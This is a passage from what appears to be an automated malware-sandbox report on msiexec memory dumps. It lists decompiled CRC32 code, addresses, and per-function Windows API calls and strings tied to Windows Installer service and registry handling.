							_t23 = _t22 >> 0x00000001 ^ 0xedb88320;
						}
						if((_t23 & 0x00000001) == 0) {
							_t24 = _t23 >> 1;
						} else {
							_t24 = _t23 >> 0x00000001 ^ 0xedb88320;
						}
						if((_t24 & 0x00000001) == 0) {
							_t16 = _t24 >> 1;
						} else {
							_t16 = _t24 >> 0x00000001 ^ 0xedb88320;
						}
						 *_t45 = _t16;
						_t32 = _t32 + 1;
						_t45 =  &(_t45[1]);
					} while (_t32 < 0x100);
				}
				return _t16;
			}

0x0038d447
0x0038d44d
0x0038d454
0x0038d45b
0x0038d460
0x0038d462
0x0038d467
0x0038d469
0x0038d469
0x0038d470
0x0038d47b
0x0038d472
0x0038d474
0x0038d474
0x0038d47f
0x0038d48a
0x0038d481
0x0038d483
0x0038d483
0x0038d48e
0x0038d499
0x0038d490
0x0038d492
0x0038d492
0x0038d49d
0x0038d4a8
0x0038d49f
0x0038d4a1
0x0038d4a1
0x0038d4ac
0x0038d4b7
0x0038d4ae
0x0038d4b0
0x0038d4b0
0x0038d4bb
0x0038d4c6
0x0038d4bd
0x0038d4bf
0x0038d4bf
0x0038d4ca
0x0038d4d5
0x0038d4cc
0x0038d4ce
0x0038d4ce
0x0038d4d7
0x0038d4d9
0x0038d4db
0x0038d4df
0x0038d460
0x0038d4eb

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 0000000100001020, Relevance: .0, Instructions: 5

Memory Dump Source

Source File: 00000005.00000002.16984227368.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000002.16984163757.0000000100000000.00000002.sdmp
Associated: 00000005.00000002.16984503497.000000010001A000.00000008.sdmp
Associated: 00000005.00000002.16984573059.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_100000000_msiexec.jbxd

Function 0000000100007CFC, Relevance: 75.6, APIs: 42, Strings: 1, Instructions: 385

APIs

GlobalAlloc.KERNEL32 ref: 0000000100007D60
GlobalFree.KERNEL32 ref: 0000000100007D89
GlobalAlloc.KERNEL32 ref: 0000000100007DAB
GlobalFree.KERNEL32 ref: 0000000100007DCC
#197.MSI ref: 0000000100007DFA
GlobalAlloc.KERNEL32 ref: 0000000100007E1F
GlobalFree.KERNEL32 ref: 0000000100007E43
GetModuleFileNameW.KERNEL32 ref: 0000000100007E63
GlobalFree.KERNEL32 ref: 0000000100007E78
GlobalFree.KERNEL32 ref: 0000000100007E9A
GlobalFree.KERNEL32 ref: 0000000100007EBF
GlobalFree.KERNEL32 ref: 0000000100007F1A
GlobalFree.KERNEL32 ref: 0000000100007F3C
GlobalFree.KERNEL32 ref: 0000000100007F61
GlobalAlloc.KERNEL32 ref: 0000000100007F94
GlobalFree.KERNEL32 ref: 0000000100007FCC
GlobalFree.KERNEL32 ref: 0000000100008054
GlobalFree.KERNEL32 ref: 000000010000807C
GlobalFree.KERNEL32 ref: 000000010000809E
GlobalFree.KERNEL32 ref: 00000001000080C3
GlobalFree.KERNEL32 ref: 00000001000080E4
GlobalFree.KERNEL32 ref: 000000010000810C
GlobalFree.KERNEL32 ref: 000000010000812E
GlobalFree.KERNEL32 ref: 0000000100008153

Part of subcall function 0000000100004F60: _vsnwprintf.MSVCRT ref: 0000000100004F9E

GlobalFree.KERNEL32 ref: 00000001000081B5
GlobalFree.KERNEL32 ref: 00000001000081DD
GlobalFree.KERNEL32 ref: 00000001000081FF
GlobalFree.KERNEL32 ref: 0000000100008224
#280.MSI ref: 000000010000828D
GlobalFree.KERNEL32 ref: 00000001000082A3
GlobalFree.KERNEL32 ref: 00000001000082CB
GlobalFree.KERNEL32 ref: 00000001000082ED
GlobalFree.KERNEL32 ref: 0000000100008312
GlobalFree.KERNEL32 ref: 0000000100008326
GlobalFree.KERNEL32 ref: 000000010000834E
GlobalFree.KERNEL32 ref: 0000000100008370
GlobalFree.KERNEL32 ref: 0000000100008395
GlobalFree.KERNEL32 ref: 00000001000083B0
GlobalFree.KERNEL32 ref: 00000001000083D2
GlobalFree.KERNEL32 ref: 00000001000083F7
GlobalFree.KERNEL32 ref: 000000010000840F
GlobalFree.KERNEL32 ref: 0000000100008434

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Strings

%d.%d.%.4d.%d, xrefs: 0000000100008183

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100009A2C, Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 142librarythreadstring

APIs

lstrlenW.KERNEL32 ref: 0000000100009A6C
GlobalAlloc.KERNEL32 ref: 0000000100009A88
GlobalFree.KERNEL32 ref: 0000000100009AA5
GlobalFree.KERNEL32 ref: 0000000100009AC2
CoInitialize.OLE32 ref: 0000000100009B2D
GlobalFree.KERNEL32 ref: 0000000100009B46
LoadLibraryExW.KERNEL32 ref: 0000000100009B5C
SetCurrentDirectoryW.KERNEL32 ref: 0000000100009B74
GetLastError.KERNEL32 ref: 0000000100009B7F
SetThreadToken.ADVAPI32 ref: 0000000100009B94
GetLastError.KERNEL32 ref: 0000000100009B9F
GetProcAddress.KERNEL32 ref: 0000000100009BBB
GetLastError.KERNEL32 ref: 0000000100009BC6
FreeLibrary.KERNEL32 ref: 0000000100009BE5
CoUninitialize.OLE32 ref: 0000000100009BEB
GlobalFree.KERNEL32 ref: 0000000100009C02

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Strings

Zw, xrefs: 0000000100009BE5

Memory Dump Source

Source File: 00000005.00000002.16984227368.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000002.16984163757.0000000100000000.00000002.sdmp
Associated: 00000005.00000002.16984503497.000000010001A000.00000008.sdmp
Associated: 00000005.00000002.16984573059.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_100000000_msiexec.jbxd

Function 000000010000DCA8, Relevance: 29.9, APIs: 13, Strings: 4, Instructions: 108sleep

APIs

OpenSCManagerW.ADVAPI32 ref: 000000010000DCCA
OpenServiceW.ADVAPI32 ref: 000000010000DCEC
memset.MSVCRT ref: 000000010000DD09
ControlService.ADVAPI32 ref: 000000010000DD19
Sleep.KERNEL32 ref: 000000010000DD44
QueryServiceStatus.ADVAPI32 ref: 000000010000DD52
GetLastError.KERNEL32 ref: 000000010000DD6C
DeleteService.ADVAPI32 ref: 000000010000DDAD
GetLastError.KERNEL32 ref: 000000010000DDB8
CloseServiceHandle.ADVAPI32 ref: 000000010000DDC3
GetLastError.KERNEL32 ref: 000000010000DDCB
CloseServiceHandle.ADVAPI32 ref: 000000010000DDF7
GetLastError.KERNEL32 ref: 000000010000DDFF

Part of subcall function 000000010000A81C: GetLastError.KERNEL32 ref: 000000010000A842
Part of subcall function 000000010000A81C: RegOpenKeyExW.ADVAPI32 ref: 000000010000A885
Part of subcall function 000000010000A81C: RegQueryValueExW.ADVAPI32 ref: 000000010000A8CF
Part of subcall function 000000010000A81C: RegCloseKey.ADVAPI32 ref: 000000010000A8EE
Part of subcall function 000000010000A81C: GlobalFree.KERNEL32 ref: 000000010000A900
Part of subcall function 000000010000A81C: memset.MSVCRT ref: 000000010000A92C
Part of subcall function 000000010000A81C: OutputDebugStringW.KERNEL32 ref: 000000010000A973
Part of subcall function 000000010000A81C: SetLastError.KERNEL32 ref: 000000010000A97B

Strings

MSIServer, xrefs: 000000010000DCDC
ControlService failed., xrefs: 000000010000DD8D
OpenService failed., xrefs: 000000010000DDE2
OpenSCManager failed., xrefs: 000000010000DE05

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 000000010000A40C, Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 137registry

APIs

memset.MSVCRT ref: 000000010000A445
RegEnumKeyW.ADVAPI32 ref: 000000010000A488
RegOpenKeyExW.ADVAPI32 ref: 000000010000A4B1
RegCloseKey.ADVAPI32 ref: 000000010000A4D8
RegisterEventSourceW.ADVAPI32 ref: 000000010000A4F1

Part of subcall function 000000010000E260: RegOpenKeyExW.ADVAPI32 ref: 000000010000E29A
Part of subcall function 000000010000E260: memset.MSVCRT ref: 000000010000E2BE
Part of subcall function 000000010000E260: RegEnumKeyExW.ADVAPI32 ref: 000000010000E326
Part of subcall function 000000010000E260: RegCloseKey.ADVAPI32 ref: 000000010000E33C
Part of subcall function 000000010000E260: RegDeleteKeyW.ADVAPI32 ref: 000000010000E348
Part of subcall function 000000010000E260: memset.MSVCRT ref: 000000010000E36C
Part of subcall function 000000010000E260: RegCloseKey.ADVAPI32 ref: 000000010000E3A7
Part of subcall function 000000010000E260: GlobalFree.KERNEL32 ref: 000000010000E3BD
Part of subcall function 000000010000E260: GlobalFree.KERNEL32 ref: 000000010000E3D7

Part of subcall function 000000010000A110: ReportEventW.ADVAPI32 ref: 000000010000A147

RegCloseKey.ADVAPI32 ref: 000000010000A568

Part of subcall function 0000000100004F60: _vsnwprintf.MSVCRT ref: 0000000100004F9E

Part of subcall function 000000010000A2E0: RegGetKeySecurity.ADVAPI32 ref: 000000010000A32D
Part of subcall function 000000010000A2E0: GlobalAlloc.KERNEL32 ref: 000000010000A350
Part of subcall function 000000010000A2E0: GlobalFree.KERNEL32 ref: 000000010000A374
Part of subcall function 000000010000A2E0: RegGetKeySecurity.ADVAPI32 ref: 000000010000A393
Part of subcall function 000000010000A2E0: GlobalFree.KERNEL32 ref: 000000010000A3B7
Part of subcall function 000000010000A2E0: GlobalFree.KERNEL32 ref: 000000010000A3D9

GlobalFree.KERNEL32 ref: 000000010000A5BF
GlobalFree.KERNEL32 ref: 000000010000A5ED
GlobalFree.KERNEL32 ref: 000000010000A61A
GlobalFree.KERNEL32 ref: 000000010000A648

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Part of subcall function 000000010000A81C: GetLastError.KERNEL32 ref: 000000010000A842
Part of subcall function 000000010000A81C: RegOpenKeyExW.ADVAPI32 ref: 000000010000A885
Part of subcall function 000000010000A81C: RegQueryValueExW.ADVAPI32 ref: 000000010000A8CF
Part of subcall function 000000010000A81C: RegCloseKey.ADVAPI32 ref: 000000010000A8EE
Part of subcall function 000000010000A81C: GlobalFree.KERNEL32 ref: 000000010000A900
Part of subcall function 000000010000A81C: memset.MSVCRT ref: 000000010000A92C
Part of subcall function 000000010000A81C: OutputDebugStringW.KERNEL32 ref: 000000010000A973
Part of subcall function 000000010000A81C: SetLastError.KERNEL32 ref: 000000010000A97B

Strings

Software\Classes\Installer, xrefs: 000000010000A416
PurgeUserOwnedSubkeys: Could not delete SubKey tree., xrefs: 000000010000A558
PurgeUserOwnedSubkeys: Could not enumerate subkeys., xrefs: 000000010000A600
MsiInstaller, xrefs: 000000010000A4E3
PurgeUserOwnedSubkeys: %s not owned by System, Admin or Trusted Installers. Deleting key + subkeys., xrefs: 000000010000A526
PurgeUserOwnedSubkeys: Could not open subkey: %s, xrefs: 000000010000A58F

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100009A2C, Relevance: 25.6, APIs: 17, Instructions: 142librarythreadstring

APIs

lstrlenW.KERNEL32 ref: 0000000100009A6C
GlobalAlloc.KERNEL32 ref: 0000000100009A88
GlobalFree.KERNEL32 ref: 0000000100009AA5
GlobalFree.KERNEL32 ref: 0000000100009AC2
StringCchCopyW.MUILOAD ref: 0000000100009AE4
CoInitialize.OLE32 ref: 0000000100009B2D
GlobalFree.KERNEL32 ref: 0000000100009B46
LoadLibraryExW.KERNEL32 ref: 0000000100009B5C
SetCurrentDirectoryW.KERNEL32 ref: 0000000100009B74
GetLastError.KERNEL32 ref: 0000000100009B7F
SetThreadToken.ADVAPI32 ref: 0000000100009B94
GetLastError.KERNEL32 ref: 0000000100009B9F
GetProcAddress.KERNEL32 ref: 0000000100009BBB
GetLastError.KERNEL32 ref: 0000000100009BC6
FreeLibrary.KERNEL32 ref: 0000000100009BE5
CoUninitialize.OLE32 ref: 0000000100009BEB
GlobalFree.KERNEL32 ref: 0000000100009C02

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100008EDC, Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 134string

APIs

#141.MSI ref: 0000000100008F2E
memcpy.MSVCRT ref: 0000000100008F58
lstrlenW.KERNEL32 ref: 0000000100008F67
lstrlenW.KERNEL32 ref: 0000000100008F72
lstrlenW.KERNEL32 ref: 0000000100008F82
lstrlenW.KERNEL32 ref: 0000000100008F92
GlobalFree.KERNEL32 ref: 0000000100008FB9
GlobalFree.KERNEL32 ref: 0000000100009011

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

lstrlenW.KERNEL32 ref: 000000010000904D
lstrlenW.KERNEL32 ref: 0000000100009058

Part of subcall function 000000010000F00C: GlobalAlloc.KERNEL32 ref: 000000010000F034
Part of subcall function 000000010000F00C: GlobalFree.KERNEL32 ref: 000000010000F07B

Part of subcall function 0000000100007688: lstrlenW.KERNEL32 ref: 0000000100007707
Part of subcall function 0000000100007688: lstrlenW.KERNEL32 ref: 0000000100007712
Part of subcall function 0000000100007688: GlobalAlloc.KERNEL32 ref: 0000000100007729
Part of subcall function 0000000100007688: GlobalFree.KERNEL32 ref: 0000000100007749
Part of subcall function 0000000100007688: StringCchCopyW.MUILOAD ref: 000000010000775F

#88.MSI ref: 00000001000090F3

Part of subcall function 0000000100009D48: #148.MSI ref: 0000000100009E28
Part of subcall function 0000000100009D48: #148.MSI ref: 0000000100009E68
Part of subcall function 0000000100009D48: #148.MSI ref: 0000000100009EAC
Part of subcall function 0000000100009D48: WideCharToMultiByte.KERNEL32 ref: 0000000100009EDC
Part of subcall function 0000000100009D48: #8.MSI ref: 0000000100009EEA

Part of subcall function 0000000100009EFC: LoadLibraryExW.KERNEL32 ref: 0000000100009F4B
Part of subcall function 0000000100009EFC: GetProcAddress.KERNEL32 ref: 0000000100009F67
Part of subcall function 0000000100009EFC: GetSystemDefaultLangID.KERNEL32 ref: 0000000100009FBD
Part of subcall function 0000000100009EFC: memset.MSVCRT ref: 000000010000A004
Part of subcall function 0000000100009EFC: FormatMessageW.KERNEL32 ref: 000000010000A02E
Part of subcall function 0000000100009EFC: WideCharToMultiByte.KERNEL32 ref: 000000010000A066
Part of subcall function 0000000100009EFC: FreeLibrary.KERNEL32 ref: 000000010000A0D8

GlobalFree.KERNEL32 ref: 0000000100009129

Strings

.msi, xrefs: 00000001000090CB
MSIINSTANCEGUID=, xrefs: 0000000100008F4C

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100009190, Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 132

APIs

GlobalAlloc.KERNEL32 ref: 00000001000091DE
GlobalFree.KERNEL32 ref: 00000001000091FF
#197.MSI ref: 0000000100009226
#199.MSI ref: 0000000100009248
GlobalFree.KERNEL32 ref: 000000010000925D
GlobalFree.KERNEL32 ref: 0000000100009278
GlobalAlloc.KERNEL32 ref: 0000000100009294
GlobalFree.KERNEL32 ref: 00000001000092B5

Part of subcall function 000000010000913C: lstrlenW.KERNEL32 ref: 0000000100009145

StringCchCopyW.MUILOAD ref: 00000001000092E2
GlobalFree.KERNEL32 ref: 00000001000092F6

Part of subcall function 0000000100008C88: #141.MSI ref: 0000000100008CCA
Part of subcall function 0000000100008C88: #70.MSI ref: 0000000100008CFB
Part of subcall function 0000000100008C88: #190.MSI ref: 0000000100008D2C

GlobalFree.KERNEL32 ref: 000000010000932C

Part of subcall function 0000000100008EDC: #141.MSI ref: 0000000100008F2E
Part of subcall function 0000000100008EDC: memcpy.MSVCRT ref: 0000000100008F58
Part of subcall function 0000000100008EDC: lstrlenW.KERNEL32 ref: 0000000100008F67
Part of subcall function 0000000100008EDC: lstrlenW.KERNEL32 ref: 0000000100008F72
Part of subcall function 0000000100008EDC: lstrlenW.KERNEL32 ref: 0000000100008F82
Part of subcall function 0000000100008EDC: lstrlenW.KERNEL32 ref: 0000000100008F92
Part of subcall function 0000000100008EDC: GlobalFree.KERNEL32 ref: 0000000100008FB9
Part of subcall function 0000000100008EDC: GlobalFree.KERNEL32 ref: 0000000100009011
Part of subcall function 0000000100008EDC: lstrlenW.KERNEL32 ref: 000000010000904D
Part of subcall function 0000000100008EDC: lstrlenW.KERNEL32 ref: 0000000100009058
Part of subcall function 0000000100008EDC: #88.MSI ref: 00000001000090F3
Part of subcall function 0000000100008EDC: GlobalFree.KERNEL32 ref: 0000000100009129

GlobalFree.KERNEL32 ref: 0000000100009384

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Strings

REMOVE=ALL, xrefs: 0000000100009336
', xrefs: 00000001000092C3

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100009190, Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 132

APIs

GlobalAlloc.KERNEL32 ref: 00000001000091DE
GlobalFree.KERNEL32 ref: 00000001000091FF
#197.MSI ref: 0000000100009226
#199.MSI ref: 0000000100009248
GlobalFree.KERNEL32 ref: 000000010000925D
GlobalFree.KERNEL32 ref: 0000000100009278
GlobalAlloc.KERNEL32 ref: 0000000100009294
GlobalFree.KERNEL32 ref: 00000001000092B5

Part of subcall function 000000010000913C: lstrlenW.KERNEL32 ref: 0000000100009145

GlobalFree.KERNEL32 ref: 00000001000092F6

Part of subcall function 0000000100008C88: #141.MSI ref: 0000000100008CCA
Part of subcall function 0000000100008C88: #70.MSI ref: 0000000100008CFB
Part of subcall function 0000000100008C88: #190.MSI ref: 0000000100008D2C

GlobalFree.KERNEL32 ref: 000000010000932C

Part of subcall function 0000000100008EDC: #141.MSI ref: 0000000100008F2E
Part of subcall function 0000000100008EDC: memcpy.MSVCRT ref: 0000000100008F58
Part of subcall function 0000000100008EDC: lstrlenW.KERNEL32 ref: 0000000100008F67
Part of subcall function 0000000100008EDC: lstrlenW.KERNEL32 ref: 0000000100008F72
Part of subcall function 0000000100008EDC: lstrlenW.KERNEL32 ref: 0000000100008F82
Part of subcall function 0000000100008EDC: lstrlenW.KERNEL32 ref: 0000000100008F92
Part of subcall function 0000000100008EDC: GlobalFree.KERNEL32 ref: 0000000100008FB9
Part of subcall function 0000000100008EDC: GlobalFree.KERNEL32 ref: 0000000100009011
Part of subcall function 0000000100008EDC: lstrlenW.KERNEL32 ref: 000000010000904D
Part of subcall function 0000000100008EDC: lstrlenW.KERNEL32 ref: 0000000100009058
Part of subcall function 0000000100008EDC: #88.MSI ref: 00000001000090F3
Part of subcall function 0000000100008EDC: GlobalFree.KERNEL32 ref: 0000000100009129

GlobalFree.KERNEL32 ref: 0000000100009384

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Strings

', xrefs: 00000001000092C3
REMOVE=ALL, xrefs: 0000000100009336

Memory Dump Source

Source File: 00000005.00000002.16984227368.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000002.16984163757.0000000100000000.00000002.sdmp
Associated: 00000005.00000002.16984503497.000000010001A000.00000008.sdmp
Associated: 00000005.00000002.16984573059.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_100000000_msiexec.jbxd

Function 000000010000942C, Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 220

APIs

Part of subcall function 000000010000913C: lstrlenW.KERNEL32 ref: 0000000100009145

Part of subcall function 00000001000077A8: StgOpenStorage.OLE32 ref: 00000001000077F1
Part of subcall function 00000001000077A8: MultiByteToWideChar.KERNEL32 ref: 0000000100007A28

GlobalFree.KERNEL32 ref: 000000010000955A

Part of subcall function 0000000100004F60: _vsnwprintf.MSVCRT ref: 0000000100004F9E

Part of subcall function 0000000100008EDC: #141.MSI ref: 0000000100008F2E
Part of subcall function 0000000100008EDC: memcpy.MSVCRT ref: 0000000100008F58
Part of subcall function 0000000100008EDC: lstrlenW.KERNEL32 ref: 0000000100008F67
Part of subcall function 0000000100008EDC: lstrlenW.KERNEL32 ref: 0000000100008F72
Part of subcall function 0000000100008EDC: lstrlenW.KERNEL32 ref: 0000000100008F82
Part of subcall function 0000000100008EDC: lstrlenW.KERNEL32 ref: 0000000100008F92
Part of subcall function 0000000100008EDC: GlobalFree.KERNEL32 ref: 0000000100008FB9
Part of subcall function 0000000100008EDC: GlobalFree.KERNEL32 ref: 0000000100009011
Part of subcall function 0000000100008EDC: lstrlenW.KERNEL32 ref: 000000010000904D
Part of subcall function 0000000100008EDC: lstrlenW.KERNEL32 ref: 0000000100009058
Part of subcall function 0000000100008EDC: #88.MSI ref: 00000001000090F3
Part of subcall function 0000000100008EDC: GlobalFree.KERNEL32 ref: 0000000100009129

GlobalFree.KERNEL32 ref: 0000000100009612
memset.MSVCRT ref: 0000000100009644
#70.MSI ref: 0000000100009670
_wcsicmp.MSVCRT ref: 000000010000968A
#141.MSI ref: 0000000100009774
#131.MSI ref: 0000000100009783

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Part of subcall function 0000000100007688: lstrlenW.KERNEL32 ref: 0000000100007707
Part of subcall function 0000000100007688: lstrlenW.KERNEL32 ref: 0000000100007712
Part of subcall function 0000000100007688: GlobalAlloc.KERNEL32 ref: 0000000100007729
Part of subcall function 0000000100007688: GlobalFree.KERNEL32 ref: 0000000100007749
Part of subcall function 0000000100007688: StringCchCopyW.MUILOAD ref: 000000010000775F

Strings

PECMS, xrefs: 0000000100009574
.msi, xrefs: 000000010000951A, 00000001000095CF
REINSTALL=ALL REINSTALLMODE=%s, xrefs: 000000010000957B
rpoedcamusv, xrefs: 0000000100009717
PackageCode, xrefs: 000000010000965D

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100008920, Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 118string

APIs

memset.MSVCRT ref: 000000010000894B
GetVersionExW.KERNEL32 ref: 000000010000895D
lstrcmpiW.KERNEL32 ref: 0000000100008982
CoInitialize.OLE32 ref: 0000000100008994
lstrcmpiW.KERNEL32 ref: 0000000100008A03
lstrcmpiW.KERNEL32 ref: 0000000100008A26
CoInitialize.OLE32 ref: 0000000100008A40

Part of subcall function 000000010000A9AC: GetVersionExW.KERNEL32 ref: 000000010000A9D2

Part of subcall function 0000000100006C54: RegDeleteKeyW.ADVAPI32 ref: 0000000100006D62
Part of subcall function 0000000100006C54: RegOpenKeyExW.ADVAPI32 ref: 0000000100006DBD
Part of subcall function 0000000100006C54: RegDeleteValueW.ADVAPI32 ref: 0000000100006DD4
Part of subcall function 0000000100006C54: RegDeleteValueW.ADVAPI32 ref: 0000000100006DE6
Part of subcall function 0000000100006C54: RegCloseKey.ADVAPI32 ref: 0000000100006DF1

CoUninitialize.OLE32 ref: 0000000100008AAE

Part of subcall function 000000010000AC20: RegOpenKeyExW.ADVAPI32 ref: 000000010000ACA8
Part of subcall function 000000010000AC20: RegEnumKeyW.ADVAPI32 ref: 000000010000ACC2
Part of subcall function 000000010000AC20: RegDeleteKeyW.ADVAPI32 ref: 000000010000ACDB
Part of subcall function 000000010000AC20: RegCloseKey.ADVAPI32 ref: 000000010000ACE6

Part of subcall function 0000000100006600: GetModuleFileNameW.KERNEL32 ref: 0000000100006645
Part of subcall function 0000000100006600: GetLastError.KERNEL32 ref: 0000000100006653
Part of subcall function 0000000100006600: RegCreateKeyExW.ADVAPI32 ref: 00000001000067EE
Part of subcall function 0000000100006600: lstrlenW.KERNEL32 ref: 00000001000067FD
Part of subcall function 0000000100006600: RegSetValueExW.ADVAPI32 ref: 0000000100006821
Part of subcall function 0000000100006600: lstrlenW.KERNEL32 ref: 000000010000683B
Part of subcall function 0000000100006600: RegSetValueExW.ADVAPI32 ref: 0000000100006861
Part of subcall function 0000000100006600: RegCloseKey.ADVAPI32 ref: 0000000100006877
Part of subcall function 0000000100006600: RegCreateKeyExW.ADVAPI32 ref: 0000000100006952
Part of subcall function 0000000100006600: RegOpenKeyExW.ADVAPI32 ref: 00000001000069F5
Part of subcall function 0000000100006600: RegQueryValueExW.ADVAPI32 ref: 0000000100006A32
Part of subcall function 0000000100006600: memset.MSVCRT ref: 0000000100006A59
Part of subcall function 0000000100006600: CreateProcessW.KERNEL32 ref: 0000000100006AA9
Part of subcall function 0000000100006600: WaitForSingleObject.KERNEL32 ref: 0000000100006ABF
Part of subcall function 0000000100006600: CloseHandle.KERNEL32 ref: 0000000100006ACD
Part of subcall function 0000000100006600: CloseHandle.KERNEL32 ref: 0000000100006ADB
Part of subcall function 0000000100006600: RegCloseKey.ADVAPI32 ref: 0000000100006AE6
Part of subcall function 0000000100006600: wcsrchr.MSVCRT ref: 0000000100006B2F
Part of subcall function 0000000100006600: lstrlenW.KERNEL32 ref: 0000000100006B49
Part of subcall function 0000000100006600: RegSetValueExW.ADVAPI32 ref: 0000000100006B73
Part of subcall function 0000000100006600: lstrlenW.KERNEL32 ref: 0000000100006B90
